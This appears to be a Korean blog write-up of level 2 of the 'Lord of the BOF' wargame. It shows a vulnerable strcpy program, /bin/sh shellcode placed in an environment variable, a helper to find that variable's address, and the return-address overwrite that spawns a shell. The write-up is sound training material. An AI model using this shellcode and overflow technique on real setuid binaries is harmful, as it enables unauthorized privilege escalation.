-
[LEVEL2] (gremlin -> cobolt) : small bufferWargame/LordOfTheBof (redhat) 2013. 6. 26. 11:09
1. 문제 Source
/* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) { char buffer[16]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }
이전 문제와 달라진 점은 buffer의 사이즈이다. 256 Byte에서 16 Byte로 어마어마하게 줄어버렸다.
buffer에 shellcode를 넣기에는 사이즈가 너무 적으니 환경변수를 이용하자.
2. 환경변수에 shellcode 삽입
export 명령어로 환경변수에 shellcode를 삽입하고 env로 확인한다.
[gremlin@localhost gremlin]$ export SHELLCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
[gremlin@localhost gremlin]$ env
PWD=/home/gremlin
REMOTEHOST=192.168.58.131
HOSTNAME=localhost.localdomain
LESSOPEN=|/usr/bin/lesspipe.sh %s
USER=gremlin
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
MACHTYPE=i386-redhat-linux-gnu
MAIL=/var/spool/mail/gremlin
INPUTRC=/etc/inputrc
SHELLCODE=1�Ph//shh/bin��PS�ᙰ
export - 환경 변수를 지정, 변경하거나 현재 정의되어 있는 환경 변수를 보여주는 명령이다.
env - 현재 설정되어있는 환경변수를 보여준다.
shellcode가 정상적으로 삽입되었음을 확인하였다. 이제 shellcode가 삽입된 환경변수의 주소를 찾자.
아래는 C소스를 이용하자.
int main() { printf("%p\n", getenv("SHELLCODE")); return 0; }
컴파일 후 실행하면 shellcode가 있는 환경변수의 주소를 알아낼 수 있다.
[gremlin@localhost gremlin]$ gcc -o getenv getenv.c
[gremlin@localhost gremlin]$ ./getenv
0xbffffecd
이제 알아낸 shellcode 주소로 ret를 변경하자.
3. Exploit
16 Byte의 buffer와 4 Byte의 SFP를 덮고 RET를 shellcode가 있는 환경변수의 주소로 덮는다.
buffer
SFP
RET
16 Byte
4 Byte
4 Byte
AAAAAAAAAAAAAAAA
BBBB
\xcd\xfe\xff\xbf
[gremlin@localhost gremlin]$ ./cobolt `python -c "print 'A'*16 + 'BBBB' + '\xcd\xfe\xff\xbf'"`
AAAAAAAAAAAAAAAABBBB����
bash$ my-pass
euid = 502
hacking exposed
성공 !
'Wargame > LordOfTheBof (redhat)' 카테고리의 다른 글
[LEVEL6] (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter (0) 2013.06.27 [LEVEL5] (orc -> wolfman) : egghunter + bufferhunter (0) 2013.06.27 [LEVEL4] (goblin -> orc) : egghunter (0) 2013.06.26 [LEVEL3] (cobolt -> goblin) : small buffer + stdin (0) 2013.06.26 [LEVEL1] (gate -> gremlin) : simple bof (1) 2013.06.25